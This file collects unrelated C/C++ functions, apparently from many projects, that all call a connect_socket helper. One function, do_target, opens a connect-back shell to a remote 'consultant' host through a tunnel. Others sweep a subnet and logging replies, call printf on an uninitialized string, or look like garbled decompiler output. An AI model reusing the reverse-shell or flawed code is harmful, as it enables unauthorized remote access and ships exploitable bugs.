void *thread_main(void *arg) { int fd; char * spath = (char *) arg; char *tile; fd = connect_socket(spath); while((tile = fetch(spath, &fd))) { int ret = process(fd, tile); if (ret == 0) { printf("Reconnecting closed socket\n"); close(fd); fd = connect_socket(spath); } num_render++; if (!(num_render % 10)) { gettimeofday(&end, NULL); printf("\n"); printf("Meta tiles rendered: "); display_rate(start, end, num_render); printf("Total tiles rendered: "); display_rate(start, end, num_render * METATILE * METATILE); printf("Number of Metatiles tested for expiry: "); display_rate(start, end, num_all); printf("\n"); } free(tile); } close(fd); return NULL; }
static void test_connect_two_sockets(const void *test_data) { struct test_data *data = tester_get_data(); const struct l2cap_data *l2data = data->test_data; const uint8_t *client_bdaddr; test_two_sockets_connect_cb_cnt = 0; test_scan_enable_counter = 0; hciemu_add_master_post_command_hook(data->hciemu, test_connect_two_sockets_router, data); if (l2data->server_psm) { struct bthost *bthost = hciemu_client_get_host(data->hciemu); if (!l2data->data_len) bthost_add_l2cap_server(bthost, l2data->server_psm, NULL, NULL); } client_bdaddr = hciemu_get_client_bdaddr(data->hciemu); if (l2data->close_one_socket) connect_socket(client_bdaddr, &data->sk, NULL); else connect_socket(client_bdaddr, &data->sk, test_two_sockets_connect_cb); }
static IPC_SOCKET_TYPE connect_and_serve(const char *socket_path, const char* event_path, const char *exec_path) { IPC_SOCKET_TYPE sock = connect_socket(socket_path, 0); if (sock == INVALID_HANDLE_VALUE) { start_server(socket_path, event_path, exec_path); sock = connect_socket(socket_path, 1); } if (sock == INVALID_HANDLE_VALUE) abort(); return sock; }
int main(int argc, char **argv) { SOCKET sock = connect_socket(IP_ADDR, PORT); BOOL must_continue = sock != INVALID_SOCKET; char buf[MAXLINE]; char* prompt = "sldb> "; while( must_continue ){ //snprintf(buf, MAXLINE, "?1 ? ?\r\n"); write(STDOUT_FILENO, prompt, strlen(prompt)); int n_readed = read(STDIN_FILENO, buf, MAXLINE); must_continue &= !send_socket(sock, buf, n_readed); while( must_continue ){ int len = read_line(sock, buf, MAXLINE); BOOL is_empty_line = len == 0; if( is_empty_line ){ break; } write(STDOUT_FILENO, buf, len); printf("\r\n"); BOOL must_close = !strcmp(buf, "!close"); must_continue &= !must_close; } } int iResult = close_socket(sock); return iResult; }
int websocket_connect(websocket_t *client, char *host, const char *port) { int r; int tls_hs_retry = WEBSOCKET_MAX_TLS_HANDSHAKE; TLS_HS_RETRY: if ((r = connect_socket(client, host, port)) != WEBSOCKET_SUCCESS) { return r; } if (websocket_config_socket(client->fd) != WEBSOCKET_SUCCESS) { WEBSOCKET_CLOSE(client->fd); return WEBSOCKET_SOCKET_ERROR; } if (client->tls_enabled) { if ((r = websocket_tls_handshake(client, host, client->auth_mode)) != WEBSOCKET_SUCCESS) { if (r == MBEDTLS_ERR_NET_SEND_FAILED || r == MBEDTLS_ERR_NET_RECV_FAILED || r == MBEDTLS_ERR_SSL_CONN_EOF) { if (tls_hs_retry-- > 0) { WEBSOCKET_DEBUG("Handshake again.... \n"); mbedtls_net_free(&(client->tls_net)); mbedtls_ssl_free(client->tls_ssl); mbedtls_ssl_init(client->tls_ssl); goto TLS_HS_RETRY; } } return WEBSOCKET_TLS_HANDSHAKE_ERROR; } } return r; }
/* Select handler which is set for the socket descriptor when connect() has * indicated (via errno) that it is in progress. On completion this handler gets * called. */ static void connected(struct socket *socket) { int err = 0; struct connection_state state = connection_state(0); socklen_t len = sizeof(err); assertm(socket->connect_info != NULL, "Lost connect_info!"); if_assert_failed return; if (getsockopt(socket->fd, SOL_SOCKET, SO_ERROR, (void *) &err, &len) == 0) { /* Why does EMX return so large values? */ if (err >= 10000) err -= 10000; if (err != 0) state = connection_state_for_errno(err); else state = connection_state(0); } else { /* getsockopt() failed */ if (errno != 0) state = connection_state_for_errno(errno); else state = connection_state(S_STATE); } if (!is_in_state(state, 0)) { /* There are maybe still some more candidates. */ connect_socket(socket, state); return; } complete_connect_socket(socket, NULL, NULL); }
/* DNS callback. */ static void dns_found(struct socket *socket, struct sockaddr_storage *addr, int addrlen) { struct connect_info *connect_info = socket->connect_info; int size; if (!addr) { socket->ops->done(socket, connection_state(S_NO_DNS)); return; } assert(connect_info); size = sizeof(*addr) * addrlen; connect_info->addr = mem_alloc(size); if (!connect_info->addr) { socket->ops->done(socket, connection_state(S_OUT_OF_MEM)); return; } memcpy(connect_info->addr, addr, size); connect_info->addrno = addrlen; /* XXX: Passing non-result state here is bad but a lack of alternatives * makes it so. Well adding get_state() socket operation could maybe fix * it but the returned state would most likely be a non-result one at * this point in the connection lifecycle. This will, however, only be a * problem if connect_socket() fails without doing any system calls * which is only the case when forcing the IP family. So it is better to * handle it in connect_socket(). */ connect_socket(socket, connection_state(S_CONN)); }
int main(int argc, char** argv) { if (argc < 3) { printf("Usage: jattach <pid> <cmd> <args> ...\n"); return 1; } int pid = atoi(argv[1]); if (!check_socket(pid) && !start_attach_mechanism(pid)) { printf("Could not start attach mechanism\n"); return 1; } int fd = connect_socket(pid); if (fd == -1) { printf("Could not connect to socket\n"); return 1; } printf("Connected to remote JVM\n"); write_command(fd, argc - 2, argv + 2); printf("Response code = "); read_response(fd); printf("\n"); close(fd); return 0; }
int main(int argc, char ** argv) { int sockfd=0; char sendMsg[30]="abc.org/r/n/r"; char* res; int port = 4242; char ip[128] = {0}; strncpy(ip, "127.0.0.1", 128); if(argc > 2) { strncpy(ip, argv[1], 128); port = atoi(argv[2]); printf("Input IP: %s, port : %d/n", ip, port); } else if(argc > 1) { port = atoi(argv[1]); printf("Input port : %d/n", port); } sockfd=connect_socket(ip, port); send_msg(sockfd,sendMsg); /* res=recv_msg(sockfd); */ printf("return from recv function/n"); printf(res); free(res); close_socket(sockfd); return 0; }
int sanlock_read_lockspace(struct sanlk_lockspace *ls, uint32_t flags, uint32_t *io_timeout) { struct sm_header h; int rv, fd; if (!ls || !ls->host_id_disk.path[0]) return -EINVAL; rv = connect_socket(&fd); if (rv < 0) return rv; rv = send_header(fd, SM_CMD_READ_LOCKSPACE, flags, sizeof(struct sanlk_lockspace), 0, 0); if (rv < 0) goto out; rv = send_data(fd, ls, sizeof(struct sanlk_lockspace), 0); if (rv < 0) { rv = -errno; goto out; } /* receive result, io_timeout and ls struct */ memset(&h, 0, sizeof(h)); rv = recv_data(fd, &h, sizeof(h), MSG_WAITALL); if (rv < 0) { rv = -errno; goto out; } if (rv != sizeof(h)) { rv = -1; goto out; } rv = (int)h.data; if (rv < 0) goto out; rv = recv_data(fd, ls, sizeof(struct sanlk_lockspace), MSG_WAITALL); if (rv < 0) { rv = -errno; goto out; } if (rv != sizeof(struct sanlk_lockspace)) { rv = -1; goto out; } *io_timeout = h.data2; rv = (int)h.data; out: close(fd); return rv; }
// Initialize resources for the node void IPC_initialize_node(int _node_id) { node_id = _node_id; if (node_id == 0) { sock = (typeof(sock)) malloc(sizeof(*sock) * nb_nodes); if (!sock) { perror("sock allocation error"); exit(-1); } sock[0] = create_socket(PORT_CORE_0, nb_nodes); for (int i = 1; i < nb_nodes; i++) { sock[i] = get_connection(sock[0]); } } else { sock = (typeof(sock)) malloc(sizeof(*sock)); if (!sock) { perror("sock allocation error"); exit(-1); } sock[0] = create_socket(0, 0); connect_socket(sock[0], PORT_CORE_0); } }
int sanlock_write_lockspace(struct sanlk_lockspace *ls, int max_hosts, uint32_t flags, uint32_t io_timeout) { int rv, fd; if (!ls || !ls->host_id_disk.path[0]) return -EINVAL; rv = connect_socket(&fd); if (rv < 0) return rv; rv = send_header(fd, SM_CMD_WRITE_LOCKSPACE, flags, sizeof(struct sanlk_lockspace), max_hosts, io_timeout); if (rv < 0) goto out; rv = send_data(fd, ls, sizeof(struct sanlk_lockspace), 0); if (rv < 0) { rv = -errno; goto out; } rv = recv_result(fd); out: close(fd); return rv; }
apisock *api_connect_ssl(){ apisock *ret; SSL *ssl; int sock; sock=connect_socket(API_HOST, API_PORT_SSL); if (sock==-1) return NULL; if (!globalctx){ SSL_library_init(); OpenSSL_add_all_algorithms(); OpenSSL_add_all_ciphers(); SSL_load_error_strings(); globalctx=SSL_CTX_new(SSLv23_method()); if (!globalctx) return NULL; } ssl=SSL_new(globalctx); if (!ssl){ close(sock); return NULL; } SSL_set_fd(ssl, sock); if (SSL_connect(ssl)!=1){ SSL_free(ssl); close(sock); return NULL; } ret=(apisock *)malloc(sizeof(apisock)); ret->sock=sock; ret->ssl=ssl; return ret; }
void Socket::create_and_connect() { addrinfo* serverinfo; int res; if ((res = get_addr_info(&serverinfo)) != 0) { throw std::system_error(errno, std::system_category(), REPORT_ERROR("getaddrinfo failure: " + std::string(gai_strerror(res)))); } try { create_socket(serverinfo); connect_socket(serverinfo); } catch (std::system_error const& err) { freeaddrinfo(serverinfo); close(sock); throw err; } freeaddrinfo(serverinfo); if (!server_info.password.empty()) send_to_socket("PASS " + server_info.password + "\r\n"); send_to_socket("NICK " + server_info.nick + "\r\n"); send_to_socket("USER " + server_info.user + "\r\n"); }
void *FUNC_THREAD(void *threadid) { FILE *dosya_yaz; dosya_yaz = fopen("userlist.txt","a"); long tid; tid = (long)threadid; char str[20]; sprintf(str,"192.168.2.%ld",(tid+1)); int conn; conn = connect_socket(10001,str); char inbuffer[512]; if (conn != -1) { recv(conn,inbuffer,512,0); fprintf(dosya_yaz,"%s %s\n",str,inbuffer); } close(conn); fclose(dosya_yaz); pthread_exit(NULL); }
int main (int argc, char *argv[]) { // Exit nicely struct sigaction sigIntHandler; sigIntHandler.sa_handler = my_handler; sigemptyset(&sigIntHandler.sa_mask); sigIntHandler.sa_flags = 0; sigaction(SIGINT, &sigIntHandler, NULL); // / Exit nicely if( argc < 2 ){ printf("Usage: %s ServerAdresse\n", *argv); exit(EXIT_FAILURE); } sock = create_socket(AF_INET6, SOCK_STREAM, 0); atexit(cleanup); connect_socket(&sock, argv[1], 15000); pthread_t tw; pthread_create(&tw,NULL,sender,NULL); pthread_t tr; pthread_create(&tr,NULL,listener,NULL); pthread_join(tw,NULL); pthread_join(tr,NULL); return EXIT_SUCCESS; }
int send_request(Request req) { if (! req->socket ) { req->socket = connect_socket(req->host,req->port,0); if (! req->socket) { error("Failed to connect to %s:%i\n",req->host,req->port); return 0; } add_req_socket(req->socket->fd); return 0; } if (req->length < 0) { str cmd = _("%s %s HTTP/1.1\r\n",req->method,req->path); write_socket(req->socket,cmd); request_headers(req,_("Host"),req->host); send_headers(req->socket,req->headers); req->length = outbound_content_length(req->contents,req->raw_contents); return req->contents != NULL || req->raw_contents != NULL ; } req->written += req->contents ? send_contents(req->socket,req->contents,is_chunked(req->headers)) : req->raw_contents ? send_raw_contents(req->socket,req->raw_contents,req->written,0): 0; if (is_chunked(req->headers) && req->written >= req->length) write_chunk(req->socket,NULL,0); return req->written < req->length; }
int sanlock_request(uint32_t flags, uint32_t force_mode, struct sanlk_resource *res) { int fd, rv, datalen; datalen = sizeof(struct sanlk_resource) + sizeof(struct sanlk_disk) * res->num_disks; rv = connect_socket(&fd); if (rv < 0) return rv; rv = send_header(fd, SM_CMD_REQUEST, flags, datalen, force_mode, 0); if (rv < 0) goto out; rv = send(fd, res, sizeof(struct sanlk_resource), 0); if (rv < 0) { rv = -errno; goto out; } rv = send(fd, res->disks, sizeof(struct sanlk_disk) * res->num_disks, 0); if (rv < 0) { rv = -errno; goto out; } rv = recv_result(fd); out: close(fd); return rv; }
static int op_setopt (void *impl, const char *option, const void *val, size_t size) { ctx_t *ctx = impl; assert (ctx->magic == MODHANDLE_MAGIC); size_t val_size; int rc = -1; if (option && !strcmp (option, FLUX_OPT_ZEROMQ_CONTEXT)) { val_size = sizeof (ctx->zctx); if (size != val_size) { errno = EINVAL; goto done; } memcpy (&ctx->zctx, &val, val_size); if (connect_socket (ctx) < 0) goto done; } else { errno = EINVAL; goto done; } rc = 0; done: return rc; }
/* Fork lgmon's process - for LPR(ng) system lm_main_lpr() : parent process. data_output_process(): print data output process. status_get_process() : print status read process. */ static void lm_main_fork_lpr() { char *nbuf; if((stmon_pid = fork())){ int server_fd = 0; int sm_sock_fd = 0; /* create socket and connect LM<->SM */ if(connect_socket(&server_fd, &sm_sock_fd) < 0){ /* socket error */ if(server_fd > 0) close(server_fd); if(sm_sock_fd > 0) close(sm_sock_fd); kill(stmon_pid, SIGTERM); goto lm_exit; } if((stat_pid = fork())){ if((data_pid = fork())){ /* LM main process */ /* exec lgmon main process */ lm_main_lpr(sm_sock_fd); close(sm_sock_fd); close(server_fd); } else /* print data output process */ data_output_process(sm_sock_fd); /* never return */ } else /* printer status get process */ status_get_process(sm_sock_fd); /* never return */ } else{ nbuf = (char *)malloc ((strlen (STMON_PATH)+strlen (PACKAGE)+2)); if (nbuf == NULL) exit (0); memset((void*)nbuf, 0, (strlen (STMON_PATH)+strlen (PACKAGE)+1)); strncpy(nbuf, STMON_PATH, strlen (STMON_PATH) ); strncat(nbuf, "/", strlen("/")); strncat(nbuf, PACKAGE, strlen(PACKAGE)); /* status monitor process */ if(execv(nbuf, stamon_arg) < 0){ #ifdef DEBUG write_log("SM execv error\n"); #endif } exit(0); /* never arrive this point */ } lm_exit: return; }
static int open_socket(struct connection *conn, char *host) { char *port, *p; if (proxy) return connect_socket(conn, proxy, proxy_port); p = strchr(host, ':'); if (p) { /* port specified */ *p++ = '\0'; port = p; } else port = is_https(conn->url) ? "443" : "80"; return connect_socket(conn, host, port); }
int main (int argc, char *argv[]) { if (argc < 3) { fprintf (stderr, "Usage: ./client ip_server port_server\n"); exit (EXIT_FAILURE); } connect_socket (argv[1], atoi (argv[2])); return 0; }
int main(int argc, char *argv[]) { SSL_CTX *ctx; const SSL_METHOD *method = SSLv3_client_method(); int client_fd; char *host; char *portnum; int bench_send = 0; int bench_recv = 0; int i; enum cipher_choice cipher_choice = CIPHER_ALL; if (argc < 3) { printf("Usage: %s <host_ip> <portnum> [opts]\n", argv[0]); exit(-1); } host = argv[1]; portnum = argv[2]; lib_init(); for (i = 3; i < argc; i++) { if (strcmp("tls-1.2", argv[i]) == 0) { method = TLSv1_2_client_method(); } else if (strcmp("tls-1.1", argv[i]) == 0) { method = TLSv1_1_client_method(); } else if (strcmp("tls-1.0", argv[i]) == 0) { method = TLSv1_client_method(); } else if (strcmp("ssl-3.0", argv[i]) == 0) { method = SSLv3_client_method(); } else if (strcmp("bench-send", argv[i]) == 0) { bench_send = atoi(argv[++i]); } else if (strcmp("bench-recv", argv[i]) == 0) { bench_recv = atoi(argv[++i]); } else { printf("warning: unknown option: \"%s\"\n", argv[i]); } } ctx = client_init(method, cipher_choice); client_fd = connect_socket(host, atoi(portnum)); printf("[status] connected. handshaking\n"); SSL *ssl; ssl = SSL_new(ctx); SSL_set_fd(ssl, client_fd); if (bench_send > 0 || bench_recv > 0) benchmark(ssl, bench_send, bench_recv); else process(ssl); close(client_fd); SSL_CTX_free(ctx); return 0; }
void dns_exception( struct socket *socket ) { if ( assert_failed == 0 ) assert_failed = 0; else assert_failed = 0; connect_socket( socket, (long long)( eax ) ); return; }
/*********************** * do_target() * * Connects to the consultant's machine on port 'tunnelPort' * Once established, waits for an 'OK' that signifies the client has connected. * Once received, connects locally to the port specified by 'servicePort' * and shovels bits across the tunnel between the client program and the local service port. */ int do_target(const char *consultantHost, const char *targetHost, const int tunnelPort, const int servicePort) { int tunnelSock, serviceSock; char buf[BUF_SIZE]; // connect to the consultant's host printf("Target: Establishing tunnel with remote host on %s:%d\n", consultantHost, tunnelPort); if((tunnelSock = connect_socket(tunnelPort, consultantHost)) == -1) return 1; // send an ACK if(send(tunnelSock, "OK", 2, 0) == -1) { perror("ERROR: send()"); return 1; } printf("Target: Tunnel is up, waiting for client to connect on remote end...\n"); // wait for an ACK from the consultant before connecting to the local service if(recv(tunnelSock, buf, 2, 0) == -1) { perror("ERROR: recv()"); return 1; } if(buf[0] != 'O' || buf[1] != 'K') { printf("ERROR: Failed to acknowledge tunnel\n"); return 1; } printf("Target: Client has connected on the remote end\n"); // spawn a connect-back shell if needed if(pr00gie) { doexec(tunnelSock); return 1; // we only hit this on exec() throwing an error } // if we're not spawning a shell we must be building a tunnel. Let's do it! // connect to local service printf("Target: Connecting to local service port %d\n", servicePort); if((serviceSock = connect_socket(servicePort, targetHost)) == -1) return 1; printf("Target: Connected to service port %s:%d\n", targetHost, servicePort); printf("Target: Shovelling data across the tunnel...\n"); // shovel data between the client and the target return shovel_data(tunnelSock, serviceSock); }
apisock *api_connect(){ apisock *ret; int sock; sock=connect_socket(API_HOST, API_PORT); if (sock==-1) return NULL; ret=(apisock *)malloc(sizeof(apisock)); ret->sock=sock; ret->ssl=NULL; return ret; }
int connect_to_server() { // The connection socket int connection; // Wait until the server created the socket // client_once(WAIT); connection = create_socket(); connect_socket(connection); return connection; }
int main(int argc, char* argv[]) { int f; if (argc < 2) { fprintf(stderr, "Not enough arguments\n"); exit (EXIT_FAILURE); } f = connect_socket(atoi(argv[1]), "localhost"); close(f); return 0; }
static flux_msg_t *op_recv (void *impl, int flags) { ctx_t *ctx = impl; assert (ctx->magic == MODHANDLE_MAGIC); zmq_pollitem_t zp = { .events = ZMQ_POLLIN, .socket = ctx->sock, .revents = 0, .fd = -1, }; flux_msg_t *msg = NULL; if (connect_socket (ctx) < 0) goto done; if ((flags & FLUX_O_NONBLOCK)) { int n; if ((n = zmq_poll (&zp, 1, 0L)) < 0) goto done; /* likely: EWOULDBLOCK | EAGAIN */ assert (n == 1); assert (zp.revents == ZMQ_POLLIN); } msg = zmsg_recv (ctx->sock); done: return msg; } static int op_event_subscribe (void *impl, const char *topic) { ctx_t *ctx = impl; assert (ctx->magic == MODHANDLE_MAGIC); JSON in = Jnew (); int rc = -1; if (connect_socket (ctx) < 0) goto done; Jadd_str (in, "topic", topic); if (flux_json_rpc (ctx->h, FLUX_NODEID_ANY, "cmb.sub", in, NULL) < 0) goto done; rc = 0; done: Jput (in); return rc; }
static flux_msg_t *op_recv (void *impl, int flags) { ctx_t *ctx = impl; assert (ctx->magic == MODHANDLE_MAGIC); zmq_pollitem_t zp = { .events = ZMQ_POLLIN, .socket = ctx->sock, .revents = 0, .fd = -1, }; flux_msg_t *msg = NULL; if (connect_socket (ctx) < 0) goto done; if ((flags & FLUX_O_NONBLOCK)) { int n; if ((n = zmq_poll (&zp, 1, 0L)) <= 0) { if (n == 0) errno = EWOULDBLOCK; goto done; } } msg = flux_msg_recvzsock (ctx->sock); done: return msg; } static int op_event_subscribe (void *impl, const char *topic) { ctx_t *ctx = impl; assert (ctx->magic == MODHANDLE_MAGIC); json_object *in = Jnew (); flux_rpc_t *rpc = NULL; int rc = -1; if (connect_socket (ctx) < 0) goto done; Jadd_str (in, "topic", topic); if (!(rpc = flux_rpc (ctx->h, "cmb.sub", Jtostr (in), FLUX_NODEID_ANY, 0)) || flux_rpc_get (rpc, NULL) < 0) goto done; rc = 0; done: Jput (in); flux_rpc_destroy (rpc); return rc; }